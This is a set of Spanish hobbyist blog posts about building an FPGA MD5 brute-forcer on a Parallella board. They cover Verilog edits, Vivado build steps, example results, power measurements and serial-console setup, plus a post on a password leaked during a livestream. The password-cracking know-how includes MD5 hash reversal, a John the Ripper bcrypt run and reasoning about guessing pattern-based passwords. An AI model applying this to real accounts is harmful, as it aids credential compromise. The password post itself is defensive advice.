Parallella: FPGA, entrada del hash

Esto no ha resultado particularmente difícil. Aclaro que yo apenas sé VHDL y tengo que hacerlo en Verilog. Aún así, lo miré fijo y salió al primer intento.

Lo que hice fue buscar patrones, reproducirlos y extenderlos.


Preguntémosle a git diff cuál fué el cambio:

Desplacé el registro de salida 8 bytes para darle lugar a REG_INPUT2 e REG_INPUT3 y los demás cambios, no voy a mentir, de algún modo los entiendo pero soy absolutamente incapaz de explicarlos.

Lo que si puedo entender es el programa de test, que ahora toma los valores de la linea de comando, los parsea, escribe en las cuatro direcciones consecutivas de memoria y lee de la última el resultado de la operación.


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>


#define REG_INPUT0 0x810f0000
#define REG_INPUT1 0x810f0004
#define REG_INPUT2 0x810f0008
#define REG_INPUT3 0x810f000C
#define REG_OUTPUT 0x810f0010

int main(int argc, char *argv[]) {

    uint32_t data0, data1, data2, data3, rdata;

    data0=strtol(argv[1],0,16);
    data1=strtol(argv[2],0,16);
    data2=strtol(argv[3],0,16);
    data3=strtol(argv[4],0,16);

    e_write(REG_INPUT0,data0);
    e_write(REG_INPUT1,data1);
    e_write(REG_INPUT2,data2);
    e_write(REG_INPUT3,data3);

    e_read(REG_OUTPUT, &rdata);

    printf ("RESULT=%d\n", rdata);        
}

Parallella: FPGA, plan MD5

Habiendo logrado hacer funcionar un ejemplo básico de FPGA en la parallella, que consiste en escribir en dos posiciones de memoria y leer en otra el resultado de una operación matemática o lógica, rumbo a implementar MD5, corresponde ir modificando el ejemplo para que



Partiendo de esta linea en src/accelerator/hdl/accelerator.v

   //(PUT CODE HERE!)
   assign result[31:0] = reg_input0[31:0] + reg_input1[31:0];


tengo que pasarle el hash que espero, de 16 bytes (128 bits). Esos reg_inputX ya son 64 bits, así que necesitaría reg_input2 y reg_input3.

Luego necesito un contador de 0x0000...0000 a 0xFFFF...FFFF, comenzando por 24 bits, 16777216 combinaciones, que es lo que vengo manejando como unidad de cálculo. Si fuera increiblemente veloz, tendría que expandir.

Luego una operación lógica muy sencilla aplicada sobre el contador.

Luego, una comparación de los reg_inputX con la salida de la operación lógica muy sencilla.

Y finalmente, reemplazar la función lógica muy sencilla por el pipeline de MD5

Y eso es todo... no, falta todo el asunto del clocking, parar el contador cuando el comparador de igual y restar al contador la cantidad de etapas en el pipeline para saber cual era el valor originario de la comparación cierta, esto último en la CPU, no es una operación frecuente.
Y además el contador podría implementarse con DSPs, quizás el comparador tambien.
Y además, dependiendo de cuantos recursos queden libres, hacer dos o más calculadores.

Parallella: FPGA en 15 minutos

a.k.a.

Creating an FPGA accelerator in 15 minutes 2018

(feel free to ask me for an english version)


Recapitulando, mi objetivo es configurar la FPGA de la placa parallella para que calcule MD5 en general, en particular con las optimizaciones que apliqué durante el proceso en CPU:

• loop unroll -> acá se llama pipeline
• una sola ronda, pues el mensaje mide menos que el bloque
• valores precalculados, pues hay una sola ronda
• valores cortocircuitados, pues el mensaje a los sumo medirá 12 bytes, o sea que afecta a tres de las sesenta y cuatro operaciones.

Todo eso más o menos ha sido implementado en las versiones detalladas en destrozando brutalmente MD5

Además, a diferencia de las versiones de CPU, que exploraban desde ';;;;' hasta 'zzzz', o sea, 24 bits (64 que es la distancia entre ';' y 'z' a la cuarta por que son cuatro posiciones), ahora la exploración será desde 0x00000000 hasta 0xFFFFFFFF o quizas desde 0x000000 a 0xFFFFFF para aprovechar un DSP, veremos.

Pasos

He seguido las instruciones de [1] y tras mucho renegar, estas son los pasos completos y adaptaciones.

Como me llevó varios meses de trabajo discontinuo, hay algunas anotaciones que no son muy claras, pues en ese momento tenían completo sentido y ahora al releer carecen por completo de él.

Registrarse en Xilinx

Al intentar el siguiente paso, el sistema te guía.

Bajar vivado 2015.2

https://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/vivado-design-tools/archive.html

Instalar vivado

• Vivado Design Suite - 2015.2  Full Product Installation
• elegí system edition
• soporte sólo para zynq 7000 (luego agregué artix me parece)
• en lugar de /opt/Xilinx instalé en ~/Xilinx

Es muy prolijo el instalador, permite múltiples versiones.

Obtener e instalar licencia

Seguir los pasos que indican este programa:

~/Xilinx/Vivado/2015.2/bin/vlm


Bajar el adjunto del mail

Esto no sé si hace falta, pues no lo he vuelto a poner y ha funcionado

export XILINXD_LICENSE_FILE=$PATH/Xilinx.lic

Generar

• Obtener repositorio y usarlo:

git clone https://github.com/parallella/oh


cd oh

• Hacer checkout en el último commit que funciona con 2015.2 y no falla con el error de CFG_ASIC:

git checkout afccd4a

• Ajustar path a vivado y target:

. ../setupPath2015_2.sh
../setTarget7010.sh

• Empalmar con los pasos de [1]:

. setenv.sh
./run.sh accelerator
cd src/accelerator/fpga/
./build.sh

Desplegar

Tras haber aplicado la quick start guide, usando la imagen
 
ubuntu-14.04-headless-z7010-20150130.1.img




Hay dos maneras, primero la más conservadora:

En la SD copiar src/accelerator/fpga/parallella.bit.bin a la partición boot.

sudo cp src/accelerator/fpga/parallella.bit.bin /media/$USER/boot/


Luego, la más cool:

Copiar de algún modo parallella.bit.bin al root filesystem de la parallella y aplicarla con el comando:

cat parallella.bit.bin > /dev/xdevcfg


que no lo he probado aún funciona ok!!!!.

Por el tiempo que lleva generar los bitstreams, la técnica que estoy usando es tener cada versión en el root filesystem catalogada así puedo cambiarlos bien rápido. Ver [2] para el detalle completo.

Arrancar

Para hacerla funcionar con terminal serial, seguir los pasos de Parallella paradumbs: trabajando mas cómodo  -> Ubuntu 14.04 -> Device Tree, donde se le instruye al kernel que use la consola en el puerto serial.

Supongo que por alguna incompatibilidad entre el kernel/distro y el bitstream, aparentemente se queda catastróficamente sin memoria y muere cuando está levantando los servicios. Basta con arrancar con runlevel 1, ejecutar

stty echo
unalias ls
PS1='$> '


Para runlevel 1 seguir los pasos de Parallella paradumbs: trabajando mas cómodo  -> Ubuntu 14.04 -> Device Tree, con:


        chosen {
          bootargs = "console=ttyPS0,115200 root=/dev/mmcblk0p2 rw earlyprintk rootfstype=ext4 rootwait 1";
          linux,stdout-path = "/amba@0/serial@e0001000";
       };

 (mirá fijo hasta que veas el 1 al final de bootargs):

 

 Probar

Lo que hace el ejemplo provisto es una operación aritmética entre dos posiciones de memoria y devolver en una tercera:

[src/accelerator/hdl/accelerator.v]

   //#############################
   //#ACCELERATOR
   //#############################

   //(PUT CODE HERE!)
   assign result[31:0] = reg_input0[31:0] + reg_input1[31:0];


Compilar driver.c y test.c previamente compiado en el root filesystem desde src/accelerator/sw/*  y ejecutarlo:

Un poquito más

Considero haber llegado acá tanto un éxito como el punto de partida para poder implementar en la FPGA el algoritmo MD5, pero sin red se va a complicar ir probando los distintos bitstreams, asi que...

Me niego a resetear la parallella por no poder enviar un Control-C.

Iba a ser una lista de la infamia con cutecom, gtkterm, miniterm.py, pero pude comprobar que el problema no está en las terminales:

Ok, tuve que tirar del cable.

No pude hacer que arranque el servidor de ssh, pero funciona netcat.

De todos modos, con runlevel 1 dhcp está activo.

Próximos pasos

Lo que sigue es modificar el bloque ACCELERATOR hasta que haga MD5, varios meses más...

Aunque pensándolo bien...

¿...para qué necesito un sistema operativo, si lo único que quiero hacer es mostrar en algún lado el valor tal que genera un hash?

Calculo que con un baremetal en una de las cpu arm del zynq, acceso a la terminal serial y la mínima comunicación con el calculador de MD5 en la FPGA ya debería alcanzar.

Menos que eso voy a hacer si consigo otra FGPA, estoy en ello.

Pero ya he invertido y aprendido tanto en este camino que lo voy a continuar:

Sólo para no decir que las uvas estaban verdes.

Crónica de diagnósticos

Por supuesto que a la primera no funcionó. Como había dicho, me llevó mucho mas que 15 minutos.

Aparentemente lo que ha ocurrido es que el proyecto tuvo una deriva con respecto a generar, por correcciones naturales, quizás por merges, por pasar de 2015.2 a 2015.4, no sé.

CFG_ASIC

El primer error bloqueante fue:

ERROR: [Synth 8-2841] use of undefined macro CFG_ASIC [~/oh/src/accelerator/fpga/system.srcs/sources_1/ipshared/www.parallella.org/axi_accelerator_v1_0/e04ae5f4/src/oh_memory_dp.v:36]

Me han dicho o he hallado que pase a 2015.4, que use el branch stable, miré como se construyen otras cosas, nada, es demasiado complejo para un hello world para mi.
Finalmente cerré los ojos y elegí un commit más o menos arbitrario(), que estuviera cerca de master (258cda9). De ahí me fuí acercando tipo bisecting (2f91330, fbfe559, afccd4a, ee2e234) hasta el último que funciona con las instrucciones simples (afccd4a)./

FAIL CFG_ASIC 2017-04-24 21:57:56 70a6f14 Merge pull request #99 from olajep/zcu102
FAIL CFG_ASIC 2017-02-10 17:00:55 2f91330 common/fpga/create_ip.tcl: Fix error when sub-IP is locked
?             2017-02-09 23:03:51 37a38ab zcu102: zcu102: Use Petalinux 2016.4 design as base
?             2017-02-07 23:02:10 02955c0 zcu102: zcu102: Define oh_verilog_define F
FAIL CFG_ASIC 2017-02-07 23:01:50 fbfe559 fpga/system_build.tcl: Support oh_verilog_define flag
FAIL CFG_ASIC 2017-02-07 19:11:05 ee2e234 Revert "common/hdl: Fix syntax error when CFG_ASIC is undefined"
OK            2017-02-07 18:47:42 afccd4a zcu102: zcu102: Fix Makefile deps and clean target
?             2017-02-07 18:45:52 8706590 zcu102: zcu102: Remove cclk1 port
OK            2017-02-07 18:44:04 258cda9 fpga/system_build.tcl: Create files for SDK

Durante el diagnóstico, varias conversaciones me resultaron útiles[3]. Considerando que es un proyecto muerto, me han contestado bastante.


Quizás más adelante cuando haya aprendido mucho más, pueda probar de acercarme un poquito más master viendo que pasa con 2015.4 o a stable. Difícil, tengo que comprender como construir todo.

Más detalles de CFG_ASIC

Este error ocurre en el paso de ./build.sh

#create bit stream
vivado -mode batch -source run.tcl

Primero hice git grep CFG_ASIC para localizar donde se estaba seteando:

scripts/build.sh: -DCFG_ASIC=0\

src/parallella/fpga/headless_e16_z7010/system_params.tcl:set oh_synthesis_options "-verilog_define CFG_ASIC=0"

src/parallella/fpga/headless_e16_z7020/system_params.tcl:set oh_synthesis_options "-verilog_define CFG_ASIC=0"

src/zcu102/fpga/zcu102/system_params.tcl:set oh_verilog_define "CFG_ASIC=0"


Luego ejecuté  

strace -eopen -f -o trace.txt ./build.sh 

para ver si alguno de esos archivos aparte del primero estaba siendo abierto, no, no son abiertos...


Luego ejecuté  

strace -ff -o trace.txt ./build.sh

para ver si alguno tenía en sus argumentos  CFG_ASIC y nada.

Upgrade a 2015.4

El upgrade aparentemente fue exitoso, pero no corrigió el error de CFG_ASIC

Dejo acá lo aprendido para futura referencia, te debo los snapshots:


Correr con 2015.2 primero para que genere el proyecto.

Ejecutar setVersion2015_4.sh

Abrir con vivado src/accelerator/fpga/axi_accelerator.xpr

Aceptar autocorrección.

Luego "Tools => Report => Report IP Status...", upgrade selected



En la terminal de TCL ejecutar:

write_bd_tcl -force system_bd.tcl

que es más o menos lo mismo que dice el mensaje de warning cuando se usa el proyecto directamente con 2015.4

This script was generated using Vivado <2015.2> and is being run in <2015.4> of Vivado. Please run the script in Vivado <2015.2> then open the design in Vivado <2015.4>. Upgrade the design by running "Tools => Report => Report IP Status...", then run write_bd_tcl to create an updated script.

 

Missing /dev/epiphany

El segundo problema importante con el que me topé es que driver.c contiene este código:

  //Open /dev/mem file if not already
  if(mem_fd < 1) {
    mem_fd = open ("/dev/epiphany", O_RDWR);
    if (mem_fd < 1) {
      perror("f_map");
      return -1;
    }
  }

y obviamente /dev/epiphany no existía, pese a:

root@parallella:/lib/modules/4.6.0+# find . -iname epi*
./kernel/drivers/misc/epiphany.ko

root@parallella:~# zgrep --color=never -i epiphany /proc/config.gz
CONFIG_EPIPHANY=m
# CONFIG_DEBUG_TIMEKEEPING is not set

root@parallella:~# modmod epiphany
root@parallella:~# lsmod
Module Size Used by
epiphany 19123 0
.

Ahí estoy a un mknod de terminar!!!!

Luego me dí cuenta que estaba muy cansado o había un comportamiento errático, usando una distro "limpia", si existía /dev/epiphany, pero era una carpeta:

$> ls /dev/epiphany/ -al
total 0
drwxr-xr-x 2 root root 80 Aug 18 00:04 .
drwxr-xr-x 13 root root 3280 Aug 18 00:05 ..
crw-rw-rw- 1 root root 243, 0 Aug 18 00:04 elink0
crw-rw-rw- 1 root root 243, 1 Aug 18 00:04 mesh0

Primero quise ver en cada imagen disponible como era, para lo cual elaboré un bonito script Mount partitions inside disk image y ahí me dí cuenta que no lo iba a hallar, pues es un módulo, se debe crear en tiempo de ejecución.

Así que tuve que ir quemando cada distro... y la que funcionó fue
ubuntu-14.04-headless-z7010-20150130.1.img

Para hacerla funcionar con terminal serial, seguir los pasos de Parallella paradumbs: trabajando mas cómodo  -> Ubuntu 14.04 -> Device Tree

Freeze en arranque

Tras haber lidiado con todo lo anterior, hacia el final del booteo se me frena, primero con

 * Starting regular background program processing daemon␛[74G[ OK ]
 * Starting deferred execution scheduler␛[74G[ OK ]
 * Starting OpenSSH server␛[74G[ OK ]

Tras haber desactivado OpenSSH (/etc/ssh/...), sigue igual:


 * Starting save kernel messages␛[74G[ OK ]
 * Starting regular background program processing daemon␛[74G[ OK ]
 * Starting deferred execution scheduler␛[74G[ OK ]

Me imaginé que tiene que ver con la memoria y me encaminé  a runlevel 1 como para poder seguir, sabiendo que igual hay que corregir pues sin red y SSH se torna muy difícil estar actualizando el bitstream. Me queda como plan B arrancar cada vez que lo cambie, pero puede ser terrible...


Luego, pensé en comparar el device tree contra las imágenes menos viejas, pero si ya había arrancado ok, puede haber un problema en el bitstream, ya sea por el proyecto accelerator o por el target zynq 7010 vs 7020.

Entonces, zynq 7010 vs 7020, hasta donde yo puedo llegar que es cambiar el target a todos los archivos, cambiando los "cercanos", no es.

Con runlevel 1 arranca y aunque cuesta usarlo por que no hay echo, FUNCIONA EL EJEMPLO!!!!, desde aquí sólo resta mejorarlo.

Scripts

Mientras diagnosticaba las fallas, elaboré algunos scripts útiles que puse en... scripts:

setupPath2015_2.sh
setupPath2015_4.sh

setVersion2015_2.sh
setVersion2015_4.sh

setTarget7010.sh
setTarget7020.sh




De este no estoy tan seguro, relevé los archivos borrando .gitignore tras construir y ejecutando git status.


clean.sh

Todos en [4]

Tambien elaboré esta linda linea de git:


git log --graph --decorate \
--pretty=format:"%Cgreen %ci %Cred %d %Cblue %h %Creset %s"

Notas

[1] Creating an FPGA accelerator in 15 minutes 

[2]  

[3]

https://parallella.org/forums/viewtopic.php?f=51&t=4297&p=20096#p20096

https://parallella.org/forums/viewtopic.php?f=49&t=3411&start=10

[4] https://github.com/cpantel/oh/tree/2018

En casa de herrero... 2

Poner 2 en el título es trampa, un truco de marketing, pues le pasó a otra persona.

Para quienes se venían regocijando con mis desventuras, les traigo otra historia parecida y el aprendizaje.

Lo que ocurrió fué que en medio de una difusión pública, pasando de una ventana a otra, quedó expuesto un documento con credenciales. Aunque la persona rápidamente notó el error y sacó el documento, obviamente era tarde, pues en la virtualidad es muy sencillo desplazarse hacia atrás en el tiempo y pausar.

Fue interesante notar que la clave, aunque era larga, tenía un importante defecto, que es que era legible al estar compuesta por palabras. Esto no es tan malo en sí, lo es por que nos da un fuerte indicio de cómo puede estar conformada esta misma clave en el futuro o en sistemas cercanos.

Es como si mi regla de claves de web mails fuera:

proveedorAñoPalabra

En particular

gmail2007canulos


Como que para atacarme en yahoo voy a probar con

yahoo20##xxxxxxx


Esta clave me da un nuevo concepto que voy a llamar "Falsa sensación de usabilidad", que es amigo de "Falsa sensación de seguridad", pero, como es evidente, desde el punto de vista de UX.

Comparando gmail2007canulos con dbHg96Pecfdu86ev sin duda la primera es más fácil de recordar y en caso de tenerla escrita o en un dispositivo distinto al de uso, de transcribir a mano, cosa para lo que la segunda no se presta

La probabilidad y estadística y la teoría de la información no es lo mío, pero intuitivamente puedo apreciar las medidas de las claves según varias fuentes:

	[1]	[2]	[3]
dbHg96Pecfdu86ev	3.625	73.521	78.3
aaaaaaaaaaaaaaaa	1	5	66.7
gmail2007canulos	3.625	42.054	62.8

Los numeritos cuanto mayores mejores.

¿Como que no es tan malo el que teníamos, no?


No, es muy malo, por que ya conocemos gmail2007, nos queda:

canulos

2.80735

16.04

24.1

Si no necesitamos recordar, podemos elegir la primera. Si necesitáramos poder escribirla pues la tenemos en papel u otro dispositivo y el login en otra, debemos tener la precaución de no usar ciertas letras. Esto debilita levemente la clave pues reduce la combinaciones a explorar pero excluye los problemas de lectura como:

1l
0O
6G

Si no te parece importante, te desafío a que en un sistema de tres intentos no te bloquees con esto:

Acá podemos ver el diálogo de creación de una entrada en un gestor[4] de claves, es la una opción ("exclude look-alike characters"):

Tambien se podrían agregar delimitadores para facilitar la lectura:

dbHg96Pecfdu86ev  
dbHg.96Pe.cfdu.86ev
dbHg-96Pe-cfdu-86ev
dbHg_96Pe_cfdu_86ev


Estos delimitadores mejoran la resistencia ante un ataque de fuerza bruta. Para quien conoce nuestro esquema sólo triplica el tiempo de exploración.

Una vez que hemos llegado a guardar las credenciales en un gestor, si difundimos accidentalmente, sólo relevamos en qué sitios tenemos cuentas, que no es tan grave y el usuario, que sería mejor no divulgarlo tampoco, pero dista de las credenciales.

Por lo general los sitios y usuarios podemos considerarlos información pública, ya que basta con entrar en esos sitios para ver nuestros aportes e identificarnos. Es por ello que es en extremo importante proteger lo realmente secreto, que es lo único secreto, la clave.

Como el gestor permite copiar en el portapapeles la clave sin verla, en ningún momento hay riesgo de que pueda divulgarse. Al cabo de diez segundos se borra del portapapeles, así que la oportunidad de pegarla accidentalmente en otro lado que no sea el campo de autenticación es baja.

Concluyendo, el procedimiento de respuesta dicta que al menos hay que:

• Cambiar la clave en el sistema afectado.
• Evitar que el video quede online.
• Cambiar la clave en el documento.
• Notificar a los usuarios de esa clave si los hay.
• Editar el video.
• Publicar el video según lo planeado.

El procedimiento de prevención agrega que:

• Sacar la clave de documento y ponerla en un almacén, por ejemplo keepass.
• Usar una clave generada al azar de no menos de 16 caracteres.
• Intentar recordar cerrar los documentos y aplicaciones sensibles antes de iniciar una difusión pública.

Sólo nos resta tener una clave muy fuerte y recordable para el gestor, usando una técnica como la de https://xkcd.com/936/

No estoy de acuerdo con las cuentas ahí expuestas, pues siempre debo asumir que si tengo un esquema de claves, el adversario lo conoce, pues al usarlo en distintos sitios, alguno puede haber sido vulnerado.

No es:

correcthorsebatterystaple

3.36386

49.495

93.6

65 ^ 25 -> 1.4272477e+45 combinaciones


es (palabras en el diccionario) ^ 4, siendo diccionario un número bajo:

si fuera 2000 -> 1.6e+13
si fuera 10000 ->  1e+16

igual es un poco mejor que canulos (65^7 -> 4.9022279e+12).

canulos

2.80735

16.04

24.1

Te invito a reflexionar sobre el tema, hacer las cuentas y corregirme si me equivoqué en ellas o los conceptos.


[1] http://www.shannonentropy.netmark.pl/
[2] https://apps.cygnius.net/passtest/
[3] http://rumkin.com/tools/password/passchk.php
[4] algunos gestores
     https://www.keepassx.org/
     https://keepass.info/

Parallella paradumbs: parabuntu parallella examples: primera ronda

En el marco del proyecto Forzando Brutalmente MD5 [1] he usado una parallella[2] y aquí comparto algunas notas inconexas que he tomado.

Existen tres variantes [3], voy a usar la versión más completa, hdmi con epiphany[4] y lidiar con hacer funcionar todo.


Los pasos son lo de la quick start guide [5], que son básicamente prepará el hardware (ojo con el cooler), bajá la imagen, dd, arrancá.


El problema viene después cuando querés usar todo, pues es un proyecto abandonado y se complica instalarle piezas pues los repos se han desactualizado. Esto fue lo que me llevó a probar con Linaro [6], pero me fue peor, ni pude instalar openssh-server, no sé si por que se ha tornado imposible, limitaciones mías o que no le dediqué tanto esfuerzo como a parabuntu.

El plan es que mientras voy instalando en una sd en la parallella, tengo montada la partición de la que ya me funcionó pero no tomé la debida nota, para ir viendo el historial de operaciones y los componentes instalados para rescatar el proceso.

Supongamos que ya arrancamos ok tras la quick start guide.

Podemos ajustar IP fija, x2x, cambiar credenciales, autologin, xtemp (registrado en trabajando más cómodo).

Una primera pasada sobre los ejemplos para separar lo que anda de lo que no.

Parallella Examples

Win

actors_dct2d	make && ./run.sh
assembly-opt	build.sh && ./run.sh
ebsp-hello	make && ./bin/host_hello
eprime	./build.sh && ./run.sh
eprime2	./build.sh && ./run.sh
fft-xcorr	make IMPL=fftw	parece ok, pero no sé que hace
game-of-life	./build.sh && ./main.elf
john	cd src && make linux-parallella && cd ../run && ./john -te -form=bcrypt-parallella
lena	./build.sh #./test.sh #./run.sh	Parece andar
multicast	make &&./main.elf
omp4-epiphany/ demo1	ompicc omp4_demo1.c && ./a.out
omp4-epiphany/ demo2	ompicc omp4_demo2.c && ./a.out
omp4-epiphany/ gol	ompicc gol_fast.c && ./a.out
omp4-epiphany/ nqueens	ompicc nqueens.c && ./a.out
omp4-epiphany/ pi_kernels	ompicc pi.c && ./a.out
paralle2	./build.sh e2 && time ./run.sh e2
pi-machin-like	./build.sh && ./main.elf

Skipped

dac-wavegen	necesita porcupine
digital-pot	necesita porcupine
epython	no me interesa
kinect_test	necesita kinetic
linux_gpio	no sé a qué le pega
motion-cap	necesita porcupine, muchas dependencias y conectar cámara web
rpi-camera	necesita cámara rpi, además es para 7020, me abrió los ojos a la olvidada interfaz serial
slides	es una presentación que podemos ver en cualquier lado

Fail

assembly-opt	build_multi.sh && ./run_multi.sh	Segmentation fault
blobubska/src	make	fatal error: fluidsynth.h: No such file or directory
e_dla/src	make	fatal error: coprthr_mpi.h: No such file or directory
e_dla/src	./dla	coprthr-1.6.2 (Freewill) Segmentation fault
fft-xcorr	make IMPL=coprthr	cannot find -lcoprthr_mpi
heat_stencil	./build.sh && ./run.sh	host_main.elf: e_open(): ECORE[0,4] MEM mmap failure
mandelbrot	make && ./run.sh	have to switch to TTY
mini-nbody	./build.sh	fatal error: coprthr_mpi.h: No such file or directory
mpi-fft2d	make	fatal error: coprthr_mpi.h: No such file or directory
nbody_mpi	make	coprthr_mpi.h: No such file or directory
omp4-epiphany/ mandelbrot_omps	ompicc mandelbrot_omp4.c && ./a.out	have to switch to TTY
raymarch	make	fatal error: SDL/SDL.h: No such file or directory
riecoin	./build.sh	error: interrupt handlers cannot have arguments
vfft	./build.sh	probablemente mal build.sh

Me gustan los relacionados con coprthr, pues recuerdo haberlos hecho andar

Special Mention

john	hay una versión que usa fpga, pero 7020
para-para	quizas resuelva todo lo de coprthr
r-opencl	muchas dependencias

Como sigue

Hay varias dependencias que tienen que ver con video, que luego me costaría hacer funcionar de todos modos por la dificultad de acceder a una TTY.

Otro problema es el relativo a coprthr, que aunque no me está bloqueando en mis planes, estaría bueno resolver para que hayan más ejemplos funcionando.

Lo veré en la segunda ronda.




[1] http://seguridad-agile.blogspot.com/2018/05/forzando-brutalmente-md5-presentacion.html

[2] https://www.parallella.org

[3] http://www.parallella.org/create-sdcard/

[4] https://github.com/parallella/parabuntu/releases/download/parabuntu-2016.11.1/parabuntu-2016.11.1-hdmi-z7010.img.gz


[5] https://www.parallella.org/quick-start/

[6] Las entradas de este blog "Parallella paradumbs: Linaro fail X"

[7] porcupine
https://www.parallella.org/2014/12/15/meet-porcupine-the-parallella-breakout-board/
https://www.digikey.com/product-detail/en/adapteva-inc/ACC1600-01/1554-1003-ND/5048176?utm_adgroup=Accessories&slid=&gclid=EAIaIQobChMI36rm39WB3QIVFQaRCh3p6Q6LEAAYASAAEgJ9nvD_BwE

Parallella paradumbs: consumo

En el marco del proyecto Forzando Brutalmente MD5 [1] he usado una parallella[2] y aquí comparto algunas notas inconexas que he tomado.

Consumo

estado	medido entrada fuente con  overhead fuente y cooler	calculado usando "apagada" como base		medido en entrada parallella
	[A]	[A]	[W]	[A]	[W]	[V]
apagada	.054					5.18
arranque	.100	.046	10.1	1.03	5.15
normal	.084	.030	6.6	0.68	3.4	4.95
eprime	.098	.044	9.7	1.10	5.5	4.91
md5

Primero intenté medir como corresponde pero cometí un error inconfesable, así que tuve que medir en la entrada de la fuente con una pinza amperométrica. Luego caí en cuenta de mi error y obtuve los valores como corresponde. Para calcular la potencia asumí 5V, pero midiendo el voltaje a la vez no da ese valor, asi que los consumos no son exactamente los de la tabla, pero andan cerca.


Al apagarla el consumo se mantiene normal, intuyo que queda en un while (true) {nop;} o que la mayor parte del consumo es de la FPGA


Resultado de varios ciclos de pruebas deduje algunas cosas útiles:

• Usar el cable más corto de la fuente para alimentar la parallella.
• Usar cualquier otro cable para alimentar el cooler.
• Conectar el amperímetro respetando la polaridad.

Muchas gracias a la gente de embebidos32 [3] por el asesoramiento.


[1] http://seguridad-agile.blogspot.com/2018/05/forzando-brutalmente-md5-presentacion.html

[2] https://www.parallella.org

[3] https://groups.google.com/forum/#!topic/embebidos32/htTOzwNqSBg

Parallella paradumbs: trabajando más cómodo

En el marco del proyecto Forzando Brutalmente MD5 [1] he usado una parallella[2] y aquí comparto algunas notas inconexas que he tomado


Supongamos que seguiste algun instructivo y ya anda.

FileSystem remoto

Para evitar usar el filesystems en compilaciones y otras actividades.

El camino del nfs...

Usando paraubuntu no pude y como no he podido usar linaro...

Desktop

• $ sudo apt-get install nfs-kernel-server
• $ sudo vi /etc/exports
• /var/nfs    192.168.xxx.xxx(rw,sync,no_root_squash,no_subtree_check)
• $ sudo exportfs -a
• $ sudo service nfs-kernel-server start

Client

• $ showmount -e 192.168.xxx.xxx
• Export list for 192.168.xxx.xxx:
• /srv/nfs 192.168.xxx.yyy
• $ sudo mount 192.168.xxx.xxx:/var/nfs /home/parallella/remoto
• mount.nfs: No such device
• $ cat /proc/filesystems | grep nfs
• no output, no support

 links [3]

El camino de SSHfs...

Parallella

• instalar y activar ssh-server
• poner en $PATH lo que necesitás en la parallella

Client

• $ sudo apt-get install sshfs
• $ sshfs "$USER@$HOST:$PATH" $LOCAL_PATH

IP fija, cable cruzado y no depender de DHCP

Modificar la configuración
[/etc$ cat network/interfaces.d/eth0]

auto eth0
#iface eth0 inet dhcp    ; anterior
iface eth0 inet static
address 192.168.1.101
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
dns-nameservers 192.168.1.1

y para tomar la nueva IP y modo:


$ sudo service networking restart

Monitorear la temperatura

Se puede usar el ztemp.sh en el home de parallella o más lindo

$ git clonehttps://github.com/parallella/parallella-utils.git
$ cd  parallella-utils.git
$ make 

Se puede iniciar en pantalla remota con

$ ssh -X parallella@192.168.1.106 /home/parallella/parallella-utils/xtemp/xtemp

o con x2x.

Como usar la salida hdmi

Según leí, no se puede poner un teclado y mouse a la vez sin usar un hub activo por que no le da la corriente. Además está complicado poner los adaptadores pues los conectores están muy juntos. Además no sé que adaptador poner para USB, pues intuyo que no es el de USB-HOST a.k.a. OTG, si no algo así como "cruzado".

Solución: utilizando x2x agregar el monitor conectado a la parallella al desktop local.

x2x

parallela

$ sudo vi lxdm.conf -> autologin=parallella
$ sudo service lxdm restart
$ sudo apt-get install x2x

desktop

$ ssh -XC parallella@192.168.1.101  x2x -east -to :0.0


Debido a que tengo tres monitores en la desktop, con esta disposición:

+---------+
|         | XXXXXXX
|         +---------+
|                   |
|                   |
|         +---------+
|         | XXXXXXX
+---------+

 
las zonas marcadas con XXX no son accesible con el puntero del mouse, incómodo pero no bloqueante.


Mientras investigaba el asunto me topé con esto, bastante interesante pero no lo probé:

https://unix.stackexchange.com/questions/192206/is-it-possible-to-access-to-the-framebuffer-in-order-to-put-a-pixel-on-the-scree

Tambien hay mención a usar remotamente el frame buffer en http://rayhightower.com/blog/2015/12/08/how-to-run-headless-parallella/, pero no lo probé.

Serial

Viendo la documentación del ejemplo de rpi-camera, recordé que hay una interfaz serial [4]. Parece que si no tiene nada al arrancar queda deshabilitada.

Como no tengo el adaptador ni ganas de conseguirlo, usaré una edu-ciaa-nxp para acceder, uno de estos días.

Con motivo de estar probando como cambiar el bitstream [5], que fue bastante estresante, si le sumamos que no me estaba arrancando, me ví forzado a que fuera uno de estos días.

Tuve mucho pánico, pero tras leer en múltiples fuentes que eran compatibles eléctricamente, no hay ningún misterio:

GND <-> GND
TX -> RX
RX <- TX


Y esto en la EDU-CIAA-NXP funciona bastante ok:

#include "sapi.h"

int main(void){
   char dato[] = { 0x0,0x0 };
   boardConfig();
   uartConfig( UART_232, 115200 );
   uartConfig( UART_USB, 115200 );
   while(1) {
      if ( uartReadByte( UART_USB, (uint8_t * )&dato[0] ) ){
         uartWriteByte( UART_232, dato[0] );
      }
      if(  uartReadByte( UART_232, (uint8_t * )&dato[0] ) ){
         uartWriteByte( UART_USB, dato[0] );
      }
   }
   return 0 ;
}


Luego,

miniterm.py /dev/ttyUSBx 115200

 El único problema es que algún servicio simpático usa colores, nada grave. Ah, tampoco funciona borrar y las flechas, uno de estos dias me voy a encargar.

Listo, ya me encargué, hay que usar screen:

screen /dev/ttyUSBx 115200

Vista completa:

EDU-CIAA-NXP serial a Parallella:

Raspberry PI 2

Y tanto me gustó el serial que aproveché para usarlo con raspberry pi 2 b, ni que fuera tan difícil, no? por qué no lo vengo usando desde hace años?

EDU-CIAA-NXP a Raspberry Pi 2B

Falta echo

Si hace falta arrancar con runlevel 1, según me ha ocurrido, puede no haber echo local. Se puede corregir en la terminal o ejecutando

stty echo
unalias ls

El segundo comando es para evitar los colores y sus caracteres rotos de escape.

Ubuntu 14.04

Lo anterior vale para parabuntu-2016.11.1-headless-z7010.img y ubuntu-15.04-esdk-2016.3-headless-z7010.img, para ubuntu-14.04-headless-z7010-20150130.1.img hay que escarbar un poco más, pues no bien arranca linux deja de funcionar la terminal serial.

Hay dos caminos,  habilitar una terminal según paso a detallar:

Terminal

Primero, si vas a trabajar con la imagen hay que montar la partición root con el script [6], si es con la SD, sólo montarla.

Luego aplicar lo que dice [7]:

Este no: "Configuring inittab (only Dapper and older !)"


Este tampoco: "Configuring upstart (Edgy/Feisty/Jaunty)"

Este si: "Configuring upstart (Karmic and newer)"

Crear /etc/init/ttyS0

# ttyS0 - getty
#
# This service maintains a getty on ttyS0 from the point the system is
# started until it is shut down again.

